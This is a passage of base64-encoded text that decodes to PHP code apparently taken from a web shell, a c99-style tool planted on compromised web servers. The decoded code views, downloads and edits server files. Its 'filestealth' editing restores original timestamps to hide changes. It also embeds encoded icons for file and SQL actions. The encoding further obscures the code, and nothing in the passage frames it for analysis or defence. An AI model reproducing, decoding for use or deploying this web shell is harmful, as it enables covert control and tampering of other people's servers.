IC4gJGYgLiAiXCI7Iik7DQogICAgICAgICAgICAgICAgZWNobyAkcjsNCiAgICAgICAgICAgICAg
ICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkZnQgPT0gIm5vdGVw
YWQiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAg
ICAgICAgICAgIGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgICAg
ICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1c
IiIgLiAkZiAuICIudHh0XCI7Iik7DQogICAgICAgICAgICAgICAgZWNobyAoJHIpOw0KICAgICAg
ICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRmdCA9
PSAiaW1nIikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaW5mID0gZ2V0aW1hZ2Vz
aXplKCRkIC4gJGYpOw0KICAgICAgICAgICAgICAgIGlmICghJHdoaXRlKQ0KICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRpbWdzaXplKSkNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGltZ3NpemUgPSAyMDsNCiAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkd2lkdGggPSAkaW5mWzBd
IC8gMTAwICogJGltZ3NpemU7DQogICAgICAgICAgICAgICAgICAgICRoZWlnaHQgPSAkaW5mWzFd
IC8gMTAwICogJGltZ3NpemU7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+
U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgJHNpemVzID0gYXJyYXkoDQog
ICAgICAgICAgICAgICAgICAgICAgICAiMTAwIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICI1
MCIsDQogICAgICAgICAgICAgICAgICAgICAgICAiMjAiDQogICAgICAgICAgICAgICAgICAgICk7
DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzaXplcyBhcyAkdikNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIgLiAk
c3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD1pbWcmZD0iIC4gdXJsZW5j
b2RlKCRkKSAuICImaW1nc2l6ZT0iIC4gJHYgLiAiXCI+IjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgIGlmICgkaW1nc2l6ZSAhPSAkdikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBlY2hvICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx1PiIgLiAkdiAuICI8L3U+IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
IjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWYm
Zj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9aW1nJndoaXRlPTEmZD0iIC4gdXJsZW5jb2RlKCRk
KSAuICJcIiB3aWR0aD1cIiIgLiAkd2lkdGggLiAiXCIgaGVpZ2h0PVwiIiAuICRoZWlnaHQgLiAi
XCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIEBvYl9j
bGVhbigpOw0KICAgICAgICAgICAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgkZiwgIi4iKTsNCiAg
ICAgICAgICAgICAgICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCkgLSAxXTsNCiAgICAgICAg
ICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIgLiAkaW5mWyJtaW1lIl0pOw0KICAg
ICAgICAgICAgICAgICAgICByZWFkZmlsZSgkZCAuICRmKTsNCiAgICAgICAgICAgICAgICAgICAg
ZXhpdDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNl
aWYgKCRmdCA9PSAiZWRpdCIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCFl
bXB0eSgkc3VibWl0KSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlm
ICgkZmlsZXN0ZWFsdGgpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRzdGF0ID0gc3RhdCgkZCAuICRmKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkZCAuICRmLCAidyIpOw0KICAgICAgICAgICAg
ICAgICAgICBpZiAoISRmcCkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPGI+Q2FuJ3Qgd3JpdGUgdG8gZmlsZSE8L2I+IjsNCiAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJGVkaXRfdGV4dCk7DQogICAgICAgICAgICAg
ICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmls
ZXN0ZWFsdGgpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgdG91Y2goJGQgLiAkZiwgJHN0YXRbOV0sICRzdGF0WzhdKTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICRyID0gJGVkaXRfdGV4dDsN
CiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCAkcikpOw0KICAgICAgICAgICAgICAgIGlm
ICgkcm93cyA8IDEwKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJv
d3MgPSAxMDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRyb3dzID4g
MzApDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcm93cyA9IDMwOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCIi
IC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9ZWRpdCZkPSIgLiB1
cmxlbmNvZGUoJGQpIC4gIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1
Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJS
ZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhy
ZWY9JyIgLiBhZGRzbGFzaGVzKCRzdXJsIC4gImFjdD1scyZkPSIgLiBzdWJzdHIoJGQsIDAsIC0x
KSkgLiAiJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRc
IiBjb2xzPVwiMTIyXCIgcm93cz1cIiIgLiAkcm93cyAuICJcIj4iIC4gaHRtbHNwZWNpYWxjaGFy
cygkcikgLiAiPC90ZXh0YXJlYT48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAg
IGVsc2VpZiAoIWVtcHR5KCRmdCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNo
byAiPGNlbnRlcj48Yj5NYW51YWxseSBzZWxlY3RlZCB0eXBlIGlzIGluY29ycmVjdC4gSWYgeW91
IHRoaW5rLCBpdCBpcyBtaXN0YWtlLCBwbGVhc2Ugc2VuZCB1cyB1cmwgYW5kIGR1bXAgb2YgXCRH
TE9CQUxTLjwvYj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBl
eHRlbnNpb24gKCIgLiAkZXh0IC4gIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFsbHkuPC9i
PjwvY2VudGVyPiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQplbHNlDQp7
DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGltYWdlcyA9IGFycmF5KA0KICAgICAgICAiYXJyb3df
bHRyIiA9PiAiUjBsR09EbGhKZ0FXQUlBQUFBQUFBUC8vL3lINUJBVVVBQUVBTEFBQUFBQW1BQllB
QUFJdmpJK3B5KzBQRjRpMGdWdnp1VnhYRG5vUVNJclVaR1pvZXJLZjI4S2pQTlBPYWt1NVJmWit1
UXNLaDhSaW9nQUFPdz09IiwNCiAgICAgICAgImJhY2siID0+ICJSMGxHT0RsaEZBQVVBS0lBQUFB
QUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04
YUxyYy9qREtTV1dwalZ5c1NOaVlKNENVT0JKb3FqbmlJTHp3dXpMdFlOLzN6QlNFcmY2a0JXK2dL
UmlQUmdoUGgrRUZLMG1PVUVxdFdnMEpBRHM9IiwNCiAgICAgICAgImJ1ZmZlciIgPT4gIlIwbEdP
RGxoRkFBVUFLSUFBQUFBQVAvLy8vajQrTjNkM2N6TXpMS3lzb2FHaHYvLy95SDVCQUVBQUFjQUxB
QUFBQUFVQUJRQUFBTm9lTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExt
d0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1ERGx3djRjRUM0Nm1pMllnSlFLYXhzRUdE
Rm5uR3dXRFRFemo5anJQUmRiaHVHOENyLzJJTlpJT0VoWHNiRHdrQU93PT0iLA0KICAgICAgICAi
Y2hhbmdlIiA9PiAiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgr
NkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKy8zZUh0NnE4OGVIdS9aa2ZIM3lWeUl1UXQr
NzIva09tOTlmby9QOEFabTU3cmtHUzRIZXo2cGlsOW9lcDNHWm1adi8vL3lINUJBRUFBQjhBTEFB
QUFBQVVBQlFBQUFXZjRDZU9aR21lNk5tdExPdWxYK2M0VFZOVlE3ZTlxRnpmZzRIRm9ua2RKQTVT
NTRjYlJBb0Z5RU9Dd1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4
OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQUNIa2pFNGFRa1EwQWxTSVRhbitaQVFxa2lp
UVBqMUFGQWFNS0VLWWpEMzlRckt3S0FhOG5HUUs4QWd1L0N4VENzQ01leHNmSXhqREx6TXNoQURz
PSIsDQogICAgICAgICJkZWxldGUiID0+ICJSMGxHT0RsaEZBQVVBT1paQVB6OC9OUEZ5TmdITHMw
WU92UHo4L2IyOXNhY3BOWFYxZlgxOWN3WE9mRHc4S2VucC9uNStldGdldW5wNmRjR0xNTXBSdXJx
NnBLU2t0dmIyKy92Nysxd2gzUjBkUG5QMTdpQWlweHllbDlmWDdkamNzY1NNOTNkM1pHUmtlRXNU
ZXZkNExDd3NHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJz
eGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3Z2SHg4Zk1uSnljTTNVZjN2OHJSdWU5OE9OYk96czlZ
Rks1U1VsS1lvUCtUazVOMG9TdWZuNTdaR1dzUXJSOWtJTDVDUWtPUGo0MlZsWmVBUE51ZEFYOXNL
TVB2NysxNVFVNXVibTM5L2Y4ZTV1NHhpYXRyYTJ1Ykt6OFBEdytwZmVlOS9sTUswdDgxcmZkOEFL
Zi8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFFQUFGa0FMQUFB
QUFBVUFCUUFBQWVzZ0ZtQ2c0U0Zob2VJaGlVZklJbUlNbGdRQjQ2R0xBbFlRa2FGVlZoU0FJWkxU
NWNiRVlJNFNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZo
NEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEdCWlRhTUNJU1ZnTUM0SWtWV0NjYVBTaTk2T3FHTkZo
S0kwNGRncjBRV0ZjS0RMM0E0dU9JalZaWkFCeFFJV0RCTGtJRVFyUm9Rc0hRandWRkhCZ2lFR1FG
SWdRYXNZa2NTYkpRSUFBNyIsDQogICAgICAgICJkb3dubG9hZCIgPT4gIlIwbEdPRGxoRkFBVUFM
TUlBQUQvQUFDQUFJQUFBTURBd0g5L2YvOEFBUC8vL3dBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVVBQlFBQUFST0VNbEpxNzA0VXlHT3ZrTGhmVlU0
a3BPSlNweDVuRjlZaUN0TGYwU3VIN3B1RVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpz
TWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsDQogICAgICAgICJmb3J3YXJkIiA9PiAi
UjBsR09EbGhGQUFVQVBJQUFBQUFBUC8vLzkzZDNjREF3SWFHaGdRRUJQLy8vd0FBQUNINUJBRUFB
QVlBTEFBQUFBQVVBQlFBQUFNOGFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQz
UkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXRXcXNKQURzPSIsDQogICAgICAg
ICJob21lIiA9PiAiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdo
bVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFC
UUFBQVIrTU1rNVRUV0k2aXB5TW9PM2NVV1JnZUpvQ0NhTG9LTzBtcTBaeGpOU0JEV1NrcnFBc0xm
SjdZUUJsNHRpUkNZRlNwUE1kUlJDb1FPaUw0aThDZ1pnazA5V2ZXTEJZWkhCNlVXakNlcXV3RURI
dU9FVkszUXRnTi9qVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dv
QklSQURzPSIsDQogICAgICAgICJtb2RlIiA9PiAiUjBsR09EbGhIUUFVQUxNQUFBQUFBUC8vLzZD
Z3BOM2QzY3pNeklhR2htWm1abDlmWC8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1
QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6
M0Y3RlVHdTczeE8yQlpjd0dEb0VYay9VcTRJQ0FDZVE2ZnptWFRsbnMwZGRsZTk5YjdjRnZZcEVS
NTVaMTBYeTFsS3Q4d3BvSXNBQ3JkYXFCcFlFWUsvZEgxTFJXaUVlMHBSVFhCdlZId1VkM282ZUQ2
T0hBU1htSm1hbUpVU1k1K2dueHVqcEJJUkFEcz0iLA0KICAgICAgICAicmVmcmVzaCIgPT4gIlIw
bEdPRGxoRVFBVUFMTUFBQUFBQVAvLy8vSHg4ZXJxNnVQajQ5M2QzY3pNekxLeXNvYUdobVptWmw5
Zlh3UUVCUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQXdBTEFBQUFBQVJBQlFBQUFSMWtNbEpxMFE0
NjB4UitHQW9JTXZraGVJWWxNeUpCa0o4bG02WXhNS2k2eldZM0FLQ1liam8vWTRFUXFGZ0tJWVVo
OEV2dVdRNlB3UEZRSnBVTHB1bnJYWkxyWUt4MjBHM29EQTcwOTNFc3YxOXE1Ty93b0Z1OVpBSlIz
bHVmbVdDVlgxM2gzS0hmV1dNakdCRGtwT1VUVHVYbUpnUkFEcz0iLA0KICAgICAgICAic2VhcmNo
IiA9PiAiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNek1EQXdMS3lzb2FHaG5k
M2QyWm1abDlmWDAxTlRTa3BLUVFFQlAvLy93QUFBQ0g1QkFFQUFBNEFMQUFBQUFBVUFCUUFBQVNu
ME1sNXFqMHo1eHI2K0paR2VVWnBISXFSTk9JUmZJWWl5K2E2dmNPcEhPYXBzNUlLUWNjejhYZ0s0
RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExE
eHVTSHNEQWtONEMzc2ZCWDEwVkhhQko0UWZBNGVJVTRwaWpRY0ZtQ1ZvTmtGbGdnY01SU2NOU1VD
ZEp5aG9EYXNOWjVNVERWc1hCd2x2aVJtckNicTdDNnNJcnFhd3JLd1R2NjhpeUE2ckRoRUFPdz09
IiwNCiAgICAgICAgInNldHVwIiA9PiAiUjBsR09EbGhGQUFVQU1RQUFBQUFBUC8vLy9qNCtPUGo0
OTNkM2N6TXpNREF3TEt5c3BhV2xvYUdobmQzZDJabVpsOWZYMDFOVFVKQ1Fod2NIUC8vL3dBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNI
NUJBRUFBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVF
TlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCcUNhQ0o0ZUlHUVZvSVZXc1RmUW9YTWZvVWZtTVpyZ1oy
R05EUEdJSTdnSkRMWUVyd0cxdmdXOENDUXR6Z0hpSkFuYUZoeXQyZHdRRU93Y01ab1owa0pLVWxa
ZU9kUUtiUGdlZGpabWhuQWNKbHFhSXFVZXNtSWlrcEVpeG55Smh1bFVNaGcyNGFTTzZZeUVBT3c9
PSIsDQogICAgICAgICJzbWFsbF9kaXIiID0+ICJSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXlj
QU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVC
QUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxY
UmRFb01xQ2VicC80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllL
NXJKZmFGVVVBM3ZCNGZCSUJBRHM9IiwNCiAgICAgICAgInNtYWxsX3VuayIgPT4gIlIwbEdPRGxo
RUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpk
TXZoL01MYyt5MVVwOVBtL0dWdWZjN2ovTXpWLzlYbS9FT205OWJuL05qcC9hN1ErdFRtL0xIUytl
WHcvdDNyL05ucC9kam8vTnJxL2ZqNy85dnEvTmZvL01iZSs4cmgvTW5nKzdqVytydlkrcjdaKzdY
UjlkRGsvTkhrL05MbC9MVFUrcm5YKzh6aS9MYlYrK2Z4L2U3Mi92SDMvdkw0L3UzMS9lMzEvdUR1
L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQr
ci9iK3J6YSt2UDQvdXowL3Vyei91NzEvdXZ6L2RUbi9NL2svTjNzL2R2ci9jamcrOFBkKzhIYytz
ZmYrOFRlKy9EMi9yWEk4ckhGOGJyTTg3Zko4bm1Qd3IzTjg2L0Q4S3ZCOEY5bmVFRm90RUJudEVO
cHRFTnB0U3hVcHgxSW9EbGZyVFJjclplZXlaYWN4cG1oekl1UnRwV1p4SXVPdUtxejlaT1d3WDZJ
czNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZm
cjdQNnNQUzZzRFE2NlhCNmNqWjhhL0s3OS9zL2Ribi9lenovY3pkOW1OMGpLVEI2YWkvNzZXOTdu
aVh6MkdDd1Y2QXdVZHN0WHlWeUdTRHdubVl6NGlvMjRPaTFhM0I0NVN5NGFlOTQ0Q2N6NFNqMW4y
R2xnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFqbkFDdFZDa0N3NEp4SkFRUXFGQmpBeG8w
TU5HcXNBQlFBaDZDRkEzbmswTUhpUlJFVkRoenNvTFF3QUowZ1Q0VG9lY1NIQVlNemFRZ29ETkND
U0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRT
UUtoQVNNQlhKcE11U3JRRVF3a0dqWWtRQ1RBeTZBbFVNaFdrbFFCdzRNRWhnU0E2WFBnUnhTNWlp
NDBLTEZnaTRCR1RFS0FzQ0tYaWhFU0N6cnNnU1FDeUlrVVYrU3FPWUxDQTRjc0F1cDg2T0dEa053
NEJwUTRPYUJGZ0IwVEV5SVVLcUR3VFJzNGE5eU1DU09tREJveVp1NHNKS0Nnd0lEanlBc29rQmtR
QURzPSIsDQogICAgICAgICJtdWx0aXBhZ2UiID0+ICJSMGxHT0RsaENnQU1BSkVEQVAvLy8vLzNt
UUFBQUFBQUFDSDVCQUVBQUFNQUxBQUFBQUFLQUF3QUFBSWozSVJwSmhDT0Rub3ZpZEFvdkJkTXp6
a2l4bFhkbEkyb1pwSldFc1N5d0x6UlVBQUFPdz09IiwNCiAgICAgICAgInNvcnRfYXNjIiA9PiAi
UjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFB
QVFBTEFBQUFBQU9BQWtBQUFNYVNMcmNQY0U5R0tVYVFsUTVzTjVQbG9GTEozNU9vSzZxNVNZQU93
PT0iLA0KICAgICAgICAic29ydF9kZXNjIiA9PiAiUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlU
UXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYlNMcmNPakJD
QjRVVklUZ3lMdDVjaDJtZ1NKWkRCaTdwNmhJSkFEcz0iLA0KICAgICAgICAic3FsX2J1dHRvbl9k
cm9wIiA9PiAiUjBsR09EbGhDUUFMQVBjQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnSUNB
Z01EQXdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELy8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFB
enpBQXovd0JtQUFCbU13Qm1aZ0JtbVFCbXpBQm0vd0NaQUFDWk13Q1paZ0NabVFDWnpBQ1ovd0RN
QUFETU13RE1aZ0RNbVFETXpBRE0vd0QvQUFEL013RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFa
ak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm1aak5tbVRObXpE
Tm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQ
L016UC9aalAvbVRQL3pEUC8vMllBQUdZQU0yWUFabVlBbVdZQXpHWUEvMll6QUdZek0yWXpabVl6
bVdZenpHWXovMlptQUdabU0yWm1abVptbVdabXpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVov
MmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8vNWtBQUprQU01
a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVps
bXpKbG0vNW1aQUptWk01bVpacG1abVptWnpKbVovNW5NQUpuTU01bk1acG5NbVpuTXpKbk0vNW4v
QUpuL001bi9acG4vbVpuL3pKbi8vOHdBQU13QU04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pa
c3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVpac3labWN5WnpN
eVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4
QU0vOEFadjhBbWY4QXpQOEEvLzh6QVA4ek0vOHpadjh6bWY4enpQOHovLzltQVA5bU0vOW1adjlt
bWY5bXpQOW0vLytaQVArWk0vK1paditabWYrWnpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00v
Ly8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBSkFBc0FBQWc0QVA4SlJF
RlE0RCtDQ0JPaTRNYXdJVGVGQ2cvaVFoRVB4Y1NCbEZDb1E1Rng0TVNLdjFCZ1JHR01vMGlKRkMy
ZWhIalNvTXQvQVFFQU93PT0iLA0KICAgICAgICAic3FsX2J1dHRvbl9lbXB0eSIgPT4gIlIwbEdP
RGxoQ1FBS0FQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQ
Ly9BQUFBLy84QS93RC8vLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbUFBQm1N
d0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1R
RE16QURNL3dEL0FBRC9Nd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pN
ekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tWmpObW1UTm16RE5tL3pPWkFET1pNek9a
WmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQL21UUC96
RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFH
